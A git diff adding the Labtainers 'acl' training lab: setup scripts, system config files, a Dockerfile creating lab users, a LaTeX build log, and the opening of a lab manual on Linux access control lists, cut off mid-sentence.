+ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp new file mode 100755 index 000000000..9caa557a9 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/host_scripts/winscp @@ -0,0 +1 @@ +wine /opt/WinSCP/WinSCP.com /script=push.txt diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh new file mode 100755 index 000000000..9c1dbd2eb --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/fixlocal.sh @@ -0,0 +1,17 @@ +#!/bin/bash +# +# Script will be run after parameterization has completed, e.g., +# use this to compile source code that has been parameterized. +# The container user password will be passed as the first argument. +# Thus, if this script is to use sudo and the sudoers for the lab +# not not permit nopassword, then use: +# echo $1 | sudo -S the-command +# +echo $1 | sudo -S chown -R bob:bob /shared_data/bob +echo $1 | sudo -S chmod 660 /shared_data/bob/bobstuff.txt +echo $1 | sudo -S chown -R alice:alice /shared_data/alice +echo umask 007 | sudo tee -a /home/bob/.bashrc +echo umask 007 | sudo tee -a /home/alice/.bashrc +echo $1 | sudo -S setfacl -m "u:harry:rw" /shared_data/accounting.txt +echo $1 | sudo -S setfacl -m "u:alice:r" /shared_data/accounting.txt +echo $1 | sudo gpasswd -d alice wheel diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify new file mode 100644 index 000000000..bc07dcf9c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify @@ -0,0 +1,3 @@ +/shared_data/alice CREATE precheck +/shared_data/bob/bobstuff.txt ACCESS precheck +/shared_data/accounting.txt ACCESS precheck diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify_cb.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify_cb.sh new file mode 100644 index 000000000..af2ce67c5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/notify_cb.sh @@ -0,0 +1,15 @@ +#!/bin/bash +# +# inotify callback +# +the_path=$1 +the_mode=$2 +the_user=$3 +the_cmd=$4 +if [[ $the_mode == CREATE ]]; then + # due to file creation show diretory acl + getfacl -d $the_path +else + # file access, show file acl + getfacl $the_path +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/precheck.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/precheck.sh new file mode 100755 index 000000000..27bacb442 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/precheck.sh @@ -0,0 +1,11 @@ +#!/bin/bash +# +# +# +# If command was fun, then echo user id +# +if [[ $1 == /shared_data/bob/fun ]];then + echo "running fun" + id +fi + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/student_startup.sh b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/student_startup.sh new file mode 100755 index 000000000..b78b252f5 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_bin/student_startup.sh @@ -0,0 +1,14 @@ +#!/bin/bash +# +# If root, loop forever in login. +# +id | grep root >>/dev/null +result=$? +if [[ $result -eq 0 ]]; then + #echo "is root" + rm -f /run/nologin + while [ 1 ]; do + trap login SIGINT + /sbin/login + done +fi diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/login.defs b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/login.defs new file mode 100644 index 000000000..09f4d6373 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/login.defs @@ -0,0 +1,341 @@ +# +# /etc/login.defs - Configuration control definitions for the login package. +# +# Three items must be defined: MAIL_DIR, ENV_SUPATH, and ENV_PATH. +# If unspecified, some arbitrary (and possibly incorrect) value will +# be assumed. All other items are optional - if not specified then +# the described action or option will be inhibited. +# +# Comment lines (lines beginning with "#") and blank lines are ignored. +# +# Modified for Linux. --marekm + +# REQUIRED for useradd/userdel/usermod +# Directory where mailboxes reside, _or_ name of file, relative to the +# home directory. If you _do_ define MAIL_DIR and MAIL_FILE, +# MAIL_DIR takes precedence. +# +# Essentially: +# - MAIL_DIR defines the location of users mail spool files +# (for mbox use) by appending the username to MAIL_DIR as defined +# below. +# - MAIL_FILE defines the location of the users mail spool files as the +# fully-qualified filename obtained by prepending the user home +# directory before $MAIL_FILE +# +# NOTE: This is no more used for setting up users MAIL environment variable +# which is, starting from shadow 4.0.12-1 in Debian, entirely the +# job of the pam_mail PAM modules +# See default PAM configuration files provided for +# login, su, etc. +# +# This is a temporary situation: setting these variables will soon +# move to /etc/default/useradd and the variables will then be +# no more supported +MAIL_DIR /var/mail +#MAIL_FILE .mail + +# +# Enable logging and display of /var/log/faillog login failure info. +# This option conflicts with the pam_tally PAM module. +# +FAILLOG_ENAB yes + +# +# Enable display of unknown usernames when login failures are recorded. +# +# WARNING: Unknown usernames may become world readable. +# See #290803 and #298773 for details about how this could become a security +# concern +LOG_UNKFAIL_ENAB no + +# +# Enable logging of successful logins +# +LOG_OK_LOGINS no + +# +# Enable "syslog" logging of su activity - in addition to sulog file logging. +# SYSLOG_SG_ENAB does the same for newgrp and sg. +# +SYSLOG_SU_ENAB yes +SYSLOG_SG_ENAB yes + +# +# If defined, all su activity is logged to this file. +# +#SULOG_FILE /var/log/sulog + +# +# If defined, file which maps tty line to TERM environment parameter. +# Each line of the file is in a format something like "vt100 tty01". +# +#TTYTYPE_FILE /etc/ttytype + +# +# If defined, login failures will be logged here in a utmp format +# last, when invoked as lastb, will read /var/log/btmp, so... +# +FTMP_FILE /var/log/btmp + +# +# If defined, the command name to display when running "su -". For +# example, if this is defined as "su" then a "ps" will display the +# command is "-su". If not defined, then "ps" would display the +# name of the shell actually being run, e.g. something like "-sh". +# +SU_NAME su + +# +# If defined, file which inhibits all the usual chatter during the login +# sequence. If a full pathname, then hushed mode will be enabled if the +# user's name or shell are found in the file. If not a full pathname, then +# hushed mode will be enabled if the file exists in the user's home directory. +# +HUSHLOGIN_FILE .hushlogin +#HUSHLOGIN_FILE /etc/hushlogins + +# +# *REQUIRED* The default PATH settings, for superuser and normal users. +# +# (they are minimal, add the rest in the shell startup files) +ENV_SUPATH PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin +ENV_PATH PATH=/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games + +# +# Terminal permissions +# +# TTYGROUP Login tty will be assigned this group ownership. +# TTYPERM Login tty will be set to this permission. +# +# If you have a "write" program which is "setgid" to a special group +# which owns the terminals, define TTYGROUP to the group number and +# TTYPERM to 0620. Otherwise leave TTYGROUP commented out and assign +# TTYPERM to either 622 or 600. +# +# In Debian /usr/bin/bsd-write or similar programs are setgid tty +# However, the default and recommended value for TTYPERM is still 0600 +# to not allow anyone to write to anyone else console or terminal + +# Users can still allow other people to write them by issuing +# the "mesg y" command. + +TTYGROUP tty +TTYPERM 0600 + +# +# Login configuration initializations: +# +# ERASECHAR Terminal ERASE character ('\010' = backspace). +# KILLCHAR Terminal KILL character ('\025' = CTRL/U). +# UMASK Default "umask" value. +# +# The ERASECHAR and KILLCHAR are used only on System V machines. +# +# UMASK is the default umask value for pam_umask and is used by +# useradd and newusers to set the mode of the new home directories. +# 022 is the "historical" value in Debian for UMASK +# 027, or even 077, could be considered better for privacy +# There is no One True Answer here : each sysadmin must make up his/her +# mind. +# +# If USERGROUPS_ENAB is set to "yes", that will modify this UMASK default value +# for private user groups, i. e. the uid is the same as gid, and username is +# the same as the primary group name: for these, the user permissions will be +# used as group permissions, e. g. 022 will become 002. +# +# Prefix these values with "0" to get octal, "0x" to get hexadecimal. +# +ERASECHAR 0177 +KILLCHAR 025 +UMASK 022 + +# +# Password aging controls: +# +# PASS_MAX_DAYS Maximum number of days a password may be used. +# PASS_MIN_DAYS Minimum number of days allowed between password changes. +# PASS_WARN_AGE Number of days warning given before a password expires. +# +PASS_MAX_DAYS 99999 +PASS_MIN_DAYS 0 +PASS_WARN_AGE 7 + +# +# Min/max values for automatic uid selection in useradd +# +UID_MIN 1000 +UID_MAX 60000 +# System accounts +#SYS_UID_MIN 100 +#SYS_UID_MAX 999 + +# +# Min/max values for automatic gid selection in groupadd +# +GID_MIN 1000 +GID_MAX 60000 +# System accounts +#SYS_GID_MIN 100 +#SYS_GID_MAX 999 + +# +# Max number of login retries if password is bad. This will most likely be +# overriden by PAM, since the default pam_unix module has it's own built +# in of 3 retries. However, this is a safe fallback in case you are using +# an authentication module that does not enforce PAM_MAXTRIES. +# +LOGIN_RETRIES 5 + +# +# Max time in seconds for login +# +LOGIN_TIMEOUT 60 + +# +# Which fields may be changed by regular users using chfn - use +# any combination of letters "frwh" (full name, room number, work +# phone, home phone). If not defined, no changes are allowed. +# For backward compatibility, "yes" = "rwh" and "no" = "frwh". +# +CHFN_RESTRICT rwh + +# +# Should login be allowed if we can't cd to the home directory? +# Default in no. +# +DEFAULT_HOME yes + +# +# If defined, this command is run when removing a user. +# It should remove any at/cron/print jobs etc. owned by +# the user to be removed (passed as the first argument). +# +#USERDEL_CMD /usr/sbin/userdel_local + +# +# Enable setting of the umask group bits to be the same as owner bits +# (examples: 022 -> 002, 077 -> 007) for non-root users, if the uid is +# the same as gid, and username is the same as the primary group name. +# +# If set to yes, userdel will remove the user´s group if it contains no +# more members, and useradd will create by default a group with the name +# of the user. +# +USERGROUPS_ENAB yes + +# +# Instead of the real user shell, the program specified by this parameter +# will be launched, although its visible name (argv[0]) will be the shell's. +# The program may do whatever it wants (logging, additional authentification, +# banner, ...) before running the actual shell. +# +# FAKE_SHELL /bin/fakeshell + +# +# If defined, either full pathname of a file containing device names or +# a ":" delimited list of device names. Root logins will be allowed only +# upon these devices. +# +# This variable is used by login and su. +# +#CONSOLE /etc/consoles +#CONSOLE console:tty01:tty02:tty03:tty04 + +# +# List of groups to add to the user's supplementary group set +# when logging in on the console (as determined by the CONSOLE +# setting). Default is none. +# +# Use with caution - it is possible for users to gain permanent +# access to these groups, even when not logged in on the console. +# How to do it is left as an exercise for the reader... +# +# This variable is used by login and su. +# +#CONSOLE_GROUPS floppy:audio:cdrom + +# +# If set to "yes", new passwords will be encrypted using the MD5-based +# algorithm compatible with the one used by recent releases of FreeBSD. +# It supports passwords of unlimited length and longer salt strings. +# Set to "no" if you need to copy encrypted passwords to other systems +# which don't understand the new algorithm. Default is "no". +# +# This variable is deprecated. You should use ENCRYPT_METHOD. +# +#MD5_CRYPT_ENAB no + +# +# If set to MD5 , MD5-based algorithm will be used for encrypting password +# If set to SHA256, SHA256-based algorithm will be used for encrypting password +# If set to SHA512, SHA512-based algorithm will be used for encrypting password +# If set to DES, DES-based algorithm will be used for encrypting password (default) +# Overrides the MD5_CRYPT_ENAB option +# +# Note: It is recommended to use a value consistent with +# the PAM modules configuration. +# +ENCRYPT_METHOD SHA512 + +# +# Only used if ENCRYPT_METHOD is set to SHA256 or SHA512. +# +# Define the number of SHA rounds. +# With a lot of rounds, it is more difficult to brute forcing the password. +# But note also that it more CPU resources will be needed to authenticate +# users. +# +# If not specified, the libc will choose the default number of rounds (5000). +# The values must be inside the 1000-999999999 range. +# If only one of the MIN or MAX values is set, then this value will be used. +# If MIN > MAX, the highest value will be used. +# +# SHA_CRYPT_MIN_ROUNDS 5000 +# SHA_CRYPT_MAX_ROUNDS 5000 + +################# OBSOLETED BY PAM ############## +# # +# These options are now handled by PAM. Please # +# edit the appropriate file in /etc/pam.d/ to # +# enable the equivelants of them. +# +############### + +#MOTD_FILE +#DIALUPS_CHECK_ENAB +#LASTLOG_ENAB +#MAIL_CHECK_ENAB +#OBSCURE_CHECKS_ENAB +#PORTTIME_CHECKS_ENAB +#SU_WHEEL_ONLY +#CRACKLIB_DICTPATH +#PASS_CHANGE_TRIES +#PASS_ALWAYS_WARN +#ENVIRON_FILE +#NOLOGINS_FILE +#ISSUE_FILE +#PASS_MIN_LEN +#PASS_MAX_LEN +#ULIMIT +#ENV_HZ +#CHFN_AUTH +#CHSH_AUTH +#FAIL_DELAY + +################# OBSOLETED ####################### +# # +# These options are no more handled by shadow. # +# # +# Shadow utilities will display a warning if they # +# still appear. # +# # +################################################### + +# CLOSE_SESSIONS +# LOGIN_STRING +# NO_PASSWORD_CONSOLE +# QMAIL_DIR + + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/securetty b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/securetty new file mode 100644 index 000000000..3c78279a3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/securetty @@ -0,0 +1,7 @@ +pts/1 +pts/2 +pts/3 +pts/4 +pts/5 +pts/6 + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/systemd/system/mynotify.service b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/systemd/system/mynotify.service new file mode 100755 index 000000000..7d3e027fc --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/etc/systemd/system/mynotify.service @@ -0,0 +1,8 @@ +[Unit] +Description=mynotify + +[Service] +ExecStart=/sbin/mynotify.py + +[Install] +WantedBy=multi-user.target diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/faux_init b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/faux_init new file mode 100755 index 000000000..21cbc5490 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/faux_init @@ -0,0 +1,18 @@ +# +# Simulate the linux init process for Labtainers +# This will start system logging and will run rc.local +# Add any other system services here, e.g., starting xinetd +# + + +# Check the existent of permanent 'did_param' lock directory +# Sleep until exists +PERMLOCKDIR=/var/labtainer/did_param +while [ ! -d "$PERMLOCKDIR" ] +do + sleep 2 +done +service rsyslog start +service rc.local start + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/login b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/login new file mode 100755 index 000000000..f6bee58da Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/sbin/login differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/accounting.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/accounting.txt new file mode 100644 index 000000000..2ca406a40 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/accounting.txt @@ -0,0 +1 @@ +some numbers diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/alice/alicestuff.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/alice/alicestuff.txt new file mode 100644 index 000000000..f0052c24c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/alice/alicestuff.txt @@ -0,0 +1 @@ +stuff for alice diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/bobstuff.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/bobstuff.txt new file mode 100644 index 000000000..1ee17671b --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/bobstuff.txt @@ -0,0 +1 @@ +bob's stuff diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/fun b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/fun new file mode 100755 index 000000000..5c7c53026 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/acl/_system/shared_data/bob/fun @@ -0,0 +1,17 @@ +foo() { +cat<<"EOF" + .--. .---. + /:. '. .' .. '._.---. + /:::-. \.-"""-;` .-:::. .::\ + /::'| `\/ _ _ \' `\:' ::::| + __.' | / (o|o) \ `'. ':/ + / .:. / | ___ | '---' + | ::::' /: (._.) .:\ + \ .=' |:' :::| + `""` \ .-. ':/ + '---`|I|`---' + '-' +EOF +} +foo + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/about.txt b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/about.txt new file mode 100644 index 000000000..1866c807c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/about.txt @@ -0,0 +1 @@ +Using Linux ACLs for flexible access control. diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/parameter.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/parameter.config new file mode 100644 index 000000000..7f71e470c --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/parameter.config @@ -0,0 +1,5 @@ +# parameter.config +# +# Please see the Labtainer Designer Lab Designer User Guide +# + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/start.config b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/start.config new file mode 100644 index 000000000..d42898117 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/config/start.config @@ -0,0 +1,67 @@ +# Filename : start.config +# Description: +# Establish the names of lab containers and some of their properties, including: +# User names +# Network connections +# trasfer directory +# lab master seed +# +# Typically, labs consisting of a single container can use the file without modification. +# Refer to the "Labtainer Lab Designer User Guide" for details. + +GLOBAL_SETTINGS + # GRADE_CONTAINER - container where instructor will perform grading + # Change the default to the name of one of your containers, otherwise + # a container will be picked for you. + GRADE_CONTAINER acl + + # HOST_HOME_XFER - directory to transfer artifact to/from containers, relative to the user's HOME + HOST_HOME_XFER seed_dir/ + + # LAB_MASTER_SEED - this is the master seed string specific to this laboratory + LAB_MASTER_SEED acl_mike_master_seed + + # Uncomment the following to cause the content of the lab/docs directory + # to be collected and included in the student artifacts. + # COLLECT_DOCS YES + +# SUBNETS. Here is where you define subnets that will be available to the containers. +# Each subnet is assiged a name, a mask and gateway, as in the following example: +# +# NETWORK DMZ_LINK +# MASK 172.25.0.0/24 +# GATEWAY 172.25.0.101 +# +# Container name and settings. Here is where you define each container in terms of its name, +# user, number of virtual terminals, and its network connections, as in the following example: +# +CONTAINER acl + # user name of user who interacts with the container. + USER alice + PASSWORD password4alice + # cause ~/instructions.txt to display, if it exists + #XTERM INSTRUCTIONS + # + # The number of terminals defaults to 1 + # + TERMINALS 3 + # + # Here is where you would identify networks connected to the container, + # and assign addresses as in the following example: + # DMZ_LINK 172.25.0.2 + # + # Script name passed to the Docker start command. This defaults to bash, which is used + # by most Ubuntu-based labtainers. The CENTOS containers should pass a value of "NONE" + # because they will start with the /usr/sbin/init. + SCRIPT NONE + # + # Host names to add to /etc/hosts, may be multiple + # ADD-HOST host:ip + # + # Mount Linux host X11 server socket for use by GUI-app in container. + X11 YES + # + # Alternate Registry -- NPS Labtainers are managed at dockerhub under mfthomps. + # REGISTRY your_registry + + diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/dockerfiles/Dockerfile.acl.acl.student b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/dockerfiles/Dockerfile.acl.acl.student new file mode 100644 index 000000000..c5e85fd23 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/dockerfiles/Dockerfile.acl.acl.student @@ -0,0 +1,73 @@ +# +# Labtainer Dockerfile +# +# This is the default Labtainer Dockerfile template, plesae choose the appropriate +# base image below. +# +# The labtainer.base image includes the following packages: +# build-essential expect file gcc-multilib gdb iputils-ping less man manpages-dev +# net-tools openssh-client python sudo tcl8.6 vim zip hexedit rsyslog +# +# The labtainer.network image adds the following packages: +# openssl openssh-server openvpn wget tcpdump update-inetd xinetd +# +ARG registry +FROM $registry/labtainer.centos.xtra +# +# lab is the fully qualified image name, e.g., mylab.some_container.student +# labdir is the name of the lab, e.g., mylab +# imagedir is the name of the container +# user_name is the USER from the start.config, if other than ubuntu, +# then that user must be added in this dockerfile +# before the USER command +# +ARG lab +ARG labdir +ARG imagedir +ARG user_name +ARG password +ARG apt_source +# +# Install the system files found in the _system directory +# +ADD $labdir/$imagedir/sys_tar/sys.tar / +ADD $labdir/sys_$lab.tar.gz / +# +RUN useradd -ms /bin/bash $user_name +RUN echo "$user_name:$password" | chpasswd +#RUN adduser $user_name sudo +# replace above with below for centos/fedora +RUN usermod $user_name -a -G wheel + + +RUN useradd -ms /bin/bash bob +RUN echo "bob:password4bob" | chpasswd +RUN useradd -ms /bin/bash harry +RUN echo "harry:password4harry" | chpasswd +RUN useradd -ms /bin/bash mike +RUN usermod mike -a -G wheel +RUN echo "mike:password4mike" | chpasswd +# +# **** Perform all root operations, e.g., **** +# **** "apt-get install" prior to the USER command. **** +# +USER $user_name +ENV HOME /home/$user_name +# +# Install files in the user home directory +# +ADD $labdir/$imagedir/home_tar/home.tar $HOME +# remove after docker fixes problem with empty tars +RUN rm -f $HOME/home.tar +ADD $labdir/$lab.tar.gz $HOME +# +# The first thing that executes on the container. +# +USER root +RUN systemctl enable mynotify +CMD ["/usr/sbin/init"] +# replace below with two above for centos +#ENTRYPOINT sudo /sbin/faux_init && bash +# +# DO NOT add below this line. +# diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/Makefile b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/Makefile new file mode 100644 index 000000000..ab8d38ea3 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/Makefile @@ -0,0 +1,8 @@ +acl.pdf: acl.tex header.tex + latex acl + pdflatex -jobname=acl acl + pdflatex -jobname=acl acl + +clean: + rm -fr auto + rm -f acl.aux acl.log acl.pdf acl.dvi acl.out diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl-Template.docx b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl-Template.docx new file mode 100755 index 000000000..f801b91bd Binary files /dev/null and b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl-Template.docx differ diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log new file mode 100644 index 000000000..44d60c848 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.log @@ -0,0 +1,129 @@ +This is pdfTeX, Version 3.14159265-2.6-1.40.16 (TeX Live 2015/Debian) (preloaded format=pdflatex 2019.6.19) 19 JUN 2019 12:10 +entering extended mode + restricted \write18 enabled. + %&-line parsing enabled. +**acl +(./acl.tex +LaTeX2e <2016/02/01> +Babel <3.9q> and hyphenation patterns for 3 language(s) loaded. +(./header.tex (/usr/share/texlive/texmf-dist/tex/latex/base/article.cls +Document Class: article 2014/09/29 v1.4h Standard LaTeX document class +(/usr/share/texlive/texmf-dist/tex/latex/base/size11.clo +File: size11.clo 2014/09/29 v1.4h Standard LaTeX file (size option) +) +\c@part=\count79 +\c@section=\count80 +\c@subsection=\count81 +\c@subsubsection=\count82 +\c@paragraph=\count83 +\c@subparagraph=\count84 +\c@figure=\count85 +\c@table=\count86 +\abovecaptionskip=\skip41 +\belowcaptionskip=\skip42 +\bibindent=\dimen102 +) +(/usr/share/texlive/texmf-dist/tex/latex/psnfss/times.sty +Package: times 2005/04/12 PSNFSS-v9.2a (SPQR) +) + +! LaTeX Error: File `epsf.sty' not found. + +Type X to quit or to proceed, +or enter new name. (Default extension: sty) + +Enter file name: +! Interruption. + + } +l.5 \usepackage + {epsfig}^^M +? +(/usr/share/texlive/texmf-dist/tex/latex/graphics/epsfig.sty +Package: epsfig 1999/02/16 v1.7a (e)psfig emulation (SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphicx.sty +Package: graphicx 2014/10/28 v1.0g Enhanced LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/keyval.sty +Package: keyval 2014/10/28 v1.15 key=value parser (DPC) +\KV@toks@=\toks14 +) +(/usr/share/texlive/texmf-dist/tex/latex/graphics/graphics.sty +Package: graphics 2016/01/03 v1.0q Standard LaTeX Graphics (DPC,SPQR) + +(/usr/share/texlive/texmf-dist/tex/latex/graphics/trig.sty +Package: trig 2016/01/03 v1.10 sin cos tan (DPC) +) +(/usr/share/texlive/texmf-dist/tex/latex/latexconfig/graphics.cfg +File: graphics.cfg 2010/04/23 v1.9 graphics configuration of TeX Live +) +Package graphics Info: Driver file: pdftex.def on input line 95. + +(/usr/share/texlive/texmf-dist/tex/latex/pdftex-def/pdftex.def +File: pdftex.def 2011/05/27 v0.06d Graphics/color for pdfTeX + +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/infwarerr.sty +Package: infwarerr 2010/04/08 v1.3 Providing info/warning/error messages (HO) +) +(/usr/share/texlive/texmf-dist/tex/generic/oberdiek/ltxcmds.sty +Package: ltxcmds 2011/11/09 v1.22 LaTeX kernel commands for general use (HO) +) +\Gread@gobject=\count87 +)) +\Gin@req@height=\dimen103 +\Gin@req@width=\dimen104 +) +\epsfxsize=\dimen105 +\epsfysize=\dimen106 +) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsmath.sty +Package: amsmath 2016/03/03 v2.15a AMS math features +\@mathmargin=\skip43 + +For additional information on amsmath, use the `?' option. +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amstext.sty +Package: amstext 2000/06/29 v2.01 AMS text + +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsgen.sty +File: amsgen.sty 1999/11/30 v2.0 generic functions +\@emptytoks=\toks15 +\ex@=\dimen107 +)) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsbsy.sty +Package: amsbsy 1999/11/29 v1.2d Bold Symbols +\pmbraise@=\dimen108 +) +(/usr/share/texlive/texmf-dist/tex/latex/amsmath/amsopn.sty +Package: amsopn 1999/12/14 v2.01 operator names +) +\inf@bad=\count88 +LaTeX Info: Redefining \frac on input line 199. +\uproot@=\count89 +\leftroot@=\count90 +LaTeX Info: Redefining \overline on input line 297. +\classnum@=\count91 +\DOTSCASE@=\count92 +LaTeX Info: Redefining \ldots on input line 394. +LaTeX Info: Redefining \dots on input line 397. +LaTeX Info: Redefining \cdots on input line 518. +\Mathstrutbox@=\box26 +\strutbox@=\box27 +\big@size=\dimen109 +LaTeX Font Info: Redeclaring font encoding OML on input line 630. +LaTeX Font Info: Redeclaring font encoding OMS on input line 631. +\macc@depth=\count93 +\c@MaxMatrixCols=\count94 +\dotsspace@=\muskip10 +\c@parentequation=\count95 +\dspbrk@lvl=\count96 +\tag@help=\toks16 +\row@=\count97 +\column@=\count98 +\maxfields@=\count99 +\andhelp@=\toks17 +\eqnshift@=\dimen110 +\alignsep@=\dimen111 +\tagshift@=\dimen112 +\tagwidth@=\dimen113 +\totwidth@=\dimen114 \ No newline at end of file diff --git a/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex new file mode 100644 index 000000000..4c2b9c7c4 --- /dev/null +++ b/modules/utilities/unix/labtainers/files/Labtainers-master/labs/acl/docs/acl.tex @@ -0,0 +1,123 @@ +\input{header} +\begin{document} + +\begin{center} +{\LARGE Linux Access Control Lists (ACLs)} +\vspace{0.1in}\\ +\end{center} + +\copyrightnotice + +\section{Overview} +This exercise explores the use of Linux ACLs to provide +access control over files, with more flexibility than +the access control offered by traditional UNIX file permissions. +It is assumed the student has received instruction, or independent +study, in access control policies and ACLs. A description of +Linux ACLs can be found at +\url {https://wiki.archlinux.org/index.php/Access\_Control\_Lists} + +\section{Lab Environmnet} +This lab runs in the Labtainer framework, +available at http://my.nps.edu/web/c3o/labtainers. +That site includes links to a pre-built virtual machine +that has Labtainers installed, however Labtainers can +be run on any Linux host that supports Docker containers. + +From your labtainer-student directory start the lab using: +\begin{verbatim} + labtainer acl +\end{verbatim} +Links to this lab manual will be displayed. + +\section{Setup} +After starting the lab, three virtual terminals will be created, each with a login +prompt. Login to these as three different users: + +\medskip +{\begin{tabular}{ l | l } + + \hline + user & password \\ \hline + bob & password4bob \\ + alice & password4alice \\ + harry & password4harry \\ +\end{tabular} + +\section{Lab Tasks} +In this lab, you will use the {\tt getfacl} and {\tt setfacl} commands to +view and modify ACLs on files. Use the -h option to learn about these +commands, e.g., {\tt getfacl -h}. + +\subsection{Review existing file permissions} +In the "alice" terminal, cd to the /shared\_data directory and list +the files: +\begin{verbatim} + cd /shared_data + ls -l +\end{verbatim} +\noindent +Observe the file permissions on the {\tt accounting.txt} file and the two +directories. Would you expect Alice to be able to view the content of +{\tt accounting.txt}? Try to cat the file. + +Look again at the directory listing. Note how the {\tt accounting.txt} +entry has a permission setting of: +\begin{verbatim} + -rw-rw----+ +\end{verbatim} +That {\tt +} symbol at the end indicates that this file has an ACL in addition +to the standard UNIX permissions of "rw" for user and group. You can view the +ACL permissions on this 